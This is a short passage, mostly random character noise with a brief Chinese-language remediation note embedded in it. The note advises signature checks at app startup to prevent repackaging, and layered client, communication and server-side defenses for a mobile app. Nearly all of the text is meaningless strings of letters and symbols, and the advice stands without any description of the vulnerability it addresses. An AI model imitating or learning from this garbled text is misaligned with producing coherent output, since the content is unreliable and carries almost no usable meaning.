Q+ B/ z$ |+ W/ j7 \ 0 l4 [% L( @% z/ r : Y+ R M8 C0 H: ]5 C   4 w8 E% _ p2 V( o6 W & C" K( n! ^* e6 a# B/ r % M5 r9 F: k0 |1 _% K3 s

& d( @0 a0 d7 E

/ M" r; }6 i4 e1 w- t' d( V   \5 e- i2 N8 }& P! B" ]& ]

R6 M- h3 |$ s% v' m ! n& z; e8 r( M

! }1 x) _/ h2 c9 _: Z( u" c / A% u$ L% r" q- [3 x5 S* n 修复方法：

5 G" o: x5 H0 E8 F& Y Y/ H: ^# @; @" |4 X" S

5 L9 @ m- ^/ f" O               1.在 APP 启动时应做签名校验防止二次打包。
! m! k8 ~% |( ~ T" V- ^ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

/ `0 c/ @! Q2 k 3 i" r$ F- g3 i) B: B1 { : [; j+ c6 E$ ] - Y }) @+ K+ ^% J2 h

" m! ~2 @2 W d2 t* D7 T   7 w$ Y* g( z$ } {- L4 d& t

- g6 p) E- Q! W. h 1 j% X# n. K! |5 ?# F

7 _' Q: y4 c- v; E+ `- H7 S
* f4 y& a6 G( G) l2 \# c

, M( M2 [0 Z1 i7 b6 g